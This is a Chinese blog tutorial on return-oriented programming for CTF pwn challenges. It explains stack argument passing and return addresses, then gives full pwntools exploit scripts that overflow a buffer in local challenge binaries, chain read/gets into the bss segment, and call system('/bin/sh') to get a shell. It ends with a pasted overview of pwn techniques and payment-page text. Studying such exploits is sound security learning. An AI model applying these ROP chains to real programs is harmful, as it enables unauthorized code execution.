pwn学习资料整理——ROP技术

ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
所以,首先,你的pwn题需要有一个溢出点,下面,讲解一下我对ROP的理解,仅供个人参考。


1. 在32位程序中,参数是以什么形式进行传递的?

在32位程序中,参数传递主要通过想栈内压入值。我们来看一个例子:

#include<stdio.h>

void main() {
	int a = 1;
	int b = 2;
	printf("sum: %d", sum(a, b));
}

int sum(int a, int b) {
	return a + b;
}

产生的汇编语言如下

0x0804840B    lea     ecx, [esp+4]
0x0804840F    and     esp, 0FFFFFFF0h
0x08048412    push    dword ptr [ecx-4]
0x08048415    push    ebp
0x08048416    mov     ebp, esp
0x08048418    push    ecx
0x08048419    sub     esp, 14h
0x0804841C    mov     [ebp+var_10], 1  # 此处变量赋值 a
0x08048423    mov     [ebp+var_C], 2   # 此处变量赋值 b
0x0804842A    sub     esp, 8
0x0804842D    push    [ebp+var_C]  # 此处往栈中压入 b 的地址
0x08048430    push    [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433    call    sum
0x08048438    add     esp, 10h
0x0804843B    sub     esp, 8
0x0804843E    push    eax
0x0804843F    push    offset format   ; "sum: %d"
0x08048444    call    _printf
0x08048449    add     esp, 10h
0x0804844C    nop
0x0804844D    mov     ecx, [ebp+var_4]
0x08048450    leave
0x08048451    lea     esp, [ecx-4]
0x08048454    retn

32位程序中在执行sum函数时,通过观察汇编代码,我们大致可以看到程序在调用函数时,对栈进行了一系列操作。
首先,程序向栈中压入变量 b,此时的栈:

栈地址
0xffffceb42 # b 的值

然后,程序向栈中压入变量 a,此时的栈:

栈地址
0xffffceb01 # a 的值
0xffffceb42 # b 的值

在执行call sum的时候,相当于执行了2条指令:

push  eip
jmp   sum

栈的变化:

栈地址
0xffffceac0x8048438 # sum的下一条指令
0xffffceb01 # a 的值
0xffffceb42 # b 的值

2. 在64位程序中,参数是以什么形式进行传递的?

我们再通过上述c代码编译成64位程序看一下汇编代码

0x400526    push    rbp
0x400527    mov     rbp, rsp
0x40052A    sub     rsp, 10h
0x40052E    mov     [rbp+var_8], 1  # 变量 a 赋值
0x400535    mov     [rbp+var_4], 2  # 变量 b 赋值
0x40053C    mov     edx, [rbp+var_4]  # 变量 b 传参
0x40053F    mov     eax, [rbp+var_8]  # 变量 a 传参
0x400542    mov     esi, edx  # 变量 b 传参
0x400544    mov     edi, eax  # 变量 a 传参
0x400546    mov     eax, 0
0x40054B    call    sum
0x400550    mov     esi, eax
0x400552    mov     edi, offset format ; "sum: %d"
0x400557    mov     eax, 0
0x40055C    call    _printf
0x400561    nop
0x400562    leave
0x400563    retn

通过上述汇编代码,我们可以发现,64位程序中,参数的赋值跟32位的区别非常大,64位程序中,我们的参数传递顺序为rdi,rsi,rdx,rcx.r8,r9

3. 什么是return address?

通过第1点中描述,在执行call sum的时候,会将sum 的下一条命令的执行地址0x8048438压入栈中,然后程序进入sum片段进行执行,此时,0x8048438地址就是sum函数的返回地址,即 return address
我们看一下sum函数的汇编程序(以32位程序为例):

0x8048455    push    ebp
0x8048456    mov     ebp, esp
0x8048458    mov     edx, [ebp+arg_0]
0x804845B    mov     eax, [ebp+arg_4]
0x804845E    add     eax, edx
0x8048460    pop     ebp
0x8048461    ret

当执行到ret时,栈空间如下

栈地址
0xffffceac0x8048438 # sum的下一条指令
0xffffceb01 # a 的值
0xffffceb42 # b 的值

当执行完ret后,栈空间为

栈地址
0xffffceb01 # a 的值
0xffffceb42 # b 的值

程序指定的位置为:

0x0804842A    sub     esp, 8
0x0804842D    push    [ebp+var_C]  
0x08048430    push    [ebp+var_10] 
0x08048433    call    sum
0x08048438    add     esp, 10h # 程序执行ret后跳转到这个位置
0x0804843B    sub     esp, 8
0x0804843E    push    eax

4. 怎么利用控制栈空间来达到执行程序命令?

通过 1,2,3 这几个知识点的案例,我们已经大致能够了解在程序执行过程中,栈空间的变化,那么接下来,我们研究一下如何用ROP技术,来获取flag。
我们看一道例题。
检查保护机制,没有特别的障碍。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

以下代码通过IDA反编译,以32为程序举例:

int __cdecl main()
{
  init();
  return pwnme();
}

int pwnme()
{
  char buf; // [esp+4h] [ebp-44h]

  puts("pwd : ");
  read(0, &buf, 0x100u);
  // gets(&buf); 64为程序中用的是gets
  if ( strcmp(&buf, "1qazcde3") )
  {
    puts("NO FUNCTION");
    exit(0);
  }
  return puts("DONE!");
}

通过代码审计,我们可以很明显看出这是一道栈溢出的漏洞。
怎么看出来的?因为gets函数不会限制你输入的长度,所以很容易溢出到return address。

  1. 寻找函数表,发现存在system函数
  2. 寻找字符串表,未发现 /bin/sh 相关字符串
  3. 如果没有 /bin/sh,那么我们就构造一个 /bin/sh
  4. 通过ROP让程序执行 gets函数,并接收一个字符串赋值到 bss 段,bss段存放的是全局变量的数据段,可利用此数据段作为 system函数的传入参数。
  5. 我们通过构造字符串,绕过 1qazcde3 判断,让程序成功运行到 return address。

我们的ROP链设计如下:
“1qazcde3\x00” + 补齐字符串 + 覆盖return address 为 gets/read 地址 + 传入bss地址进行赋值 + 将bss作为参数 + 调用 system 函数。

接下来我们看看在32位和64位程序中,如果去构造上述的ROP链。

5. 32位中构造ROP

这里我们需要用到read,提供的代码中没有get,话不多说,亮代码:

from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
# p32(0) 为system执行后的return address,永远用不到
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(system_addr) + p32(0)  + p32(bss_addr) + p32(256)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()

这里需要解释一下p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)为什么如此构造。

read_addrpwnme 函数执行结束后的返回地址,而这里的read_addr指向的是plt表,在执行plt表所指向的read_addr函数时,stack中的数展现如下:

stack作用
system_addrread执行完成后的return address
p32(0)read函数的第1个参数 unsigned int fd
p32(bss_addr)read函数的第2个参数 char *buf
p32(255)read函数的第3个参数 size_t count

这样的栈结构相当于,执行了read(0, bss_addr, 255)后,重新跳转到system_addr,而跳转到system_addr后,stack如下:

stack作用
p32(0)system函数的return address
p32(bss_addr)system函数的第1个参数 char *buf
p32(255)用不到

也就是说,read结束后,程序走到了system的plt中去执行程序,而此时将bbs_addr当做参数传给了system,相当于执行了system(bss_addr)

由于bbs_addr已经被我们写入了/bin/sh,此时system函数调用时将会给我们返回一个shell,所以systemreturn address是什么并不重要。

思考

上面 system/bin/sh参数只是恰好把 read指令的参数作为自己的参数,而实现了get shell,如果运气没那么欧怎么办?

没关系,我们来看看另一种通用的实现方式,打开ropper工具,查看文件的指令

ropper -f pwn_rop1

仔细找找灵感
在这里插入图片描述
没错,我们可以利用pop指令,实现对栈的清除,已知 read 函数用到了3个参数,那么,这里我们就采用 3 个pop的0x080486b9: pop esi; pop edi; pop ebp; ret;

于是,修改代码如下:

from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
rop_pop3=0x080486b9
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(rop_pop3) # 清空read的3各参数
		 + p32(0)  + p32(bss_addr) + p32(256) + p32(system_addr)+p32(0)+p32(bss_addr)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()

成功 get shell !

6. 64位中构造ROP

from pwn import *
context.log_level="debug"
p=process("./pwn_rop2")
elf=ELF("./pwn_rop2")
gets=elf.plt["gets"]
bss=0x601060
system=elf.plt["system"]
pop_rdi=0x400883
p.recvuntil("pwd : \n")
#pause()
#gdb.attach(p,"b *0x4007A7")
#raw_input()
#p32(gets)+p32(system)+p32(bss)+p32(bss)
payload="1qazcde3\x00".ljust(64,"1")+'a'*8+p64(pop_rdi)+p64(bss)+p64(gets)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.recvuntil("DONE!\n")
p.sendline("/bin/sh\x00")
p.interactive()

在64位payload构造中,由于参数传递的方式不同,gets的第一个参数为RDI,所以,我们需要在程序中要到这样一个片段,为我们的gets函数传递参数。

pop rdi; ret;

在系统中我们也可以通过 ROPgadget 工具,寻找 pwn_rop2 中可以利用的片段(和ropper差不多)。具体使用方式如下:

ROPgadget --binary pwn_rop2 | grep "pop rdi"

程序返回如下内容

0x0000000000400883 : pop rdi ; ret

x64相较于上面的x86会更加直观更好理解。


以下是相关题目内容,大家可以回去实验一下,通过gdb进行观察各个寄存器和栈空间的变化,来巩固学习。

pwn_rop1
pwn_rop2
pwn_rop3 x86的gets版本,欢迎大家自己动手尝试

你好!很高兴回答你的问题。关于软件安全实验二中的攻击方式Pwn,我可以为你提供一些基本的信息。Pwn是指通过利用软件漏洞来获取对计算机系统的控制权。在实验二中,你可能会学习和尝试使用缓冲区溢出漏洞、格式化字符串漏洞、堆溢出等技术来进行Pwn攻击。 缓冲区溢出是一种常见的Pwn攻击技术,它利用了程序在处理输入数据时没有正确限制长度的漏洞。通过向程序输入过长的数据,可以覆盖到程序运行时的内存空间中的其他重要数据,例如返回地址。通过修改返回地址,攻击者可以控制程序流程,执行恶意代码。 格式化字符串漏洞是另一种常见的Pwn攻击技术。它利用了C语言的格式化字符串函数(如printf、sprintf等)在处理格式化字符串时存在的安全问题。通过向程序输入特定格式的字符串,攻击者可以读取或修改内存中的数据,甚至执行任意代码。 堆溢出是利用堆内存管理中的漏洞进行攻击的一种技术。在使用动态分配内存时,如果没有正确地释放或管理内存,可能会导致堆溢出。通过在堆中溢出写入数据,攻击者可以修改关键数据结构,从而影响程序的执行逻辑。 以上只是Pwn攻击的一些基本概念,实际的Pwn攻击还涉及很多技术和细节。在进行任何Pwn攻击之前,请务必遵循法律和道德规范,并确保你在合法授权的环境中进行实验。 如果你有任何关于Pwn攻击或软件安全实验的具体问题,我会尽力为你解答。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值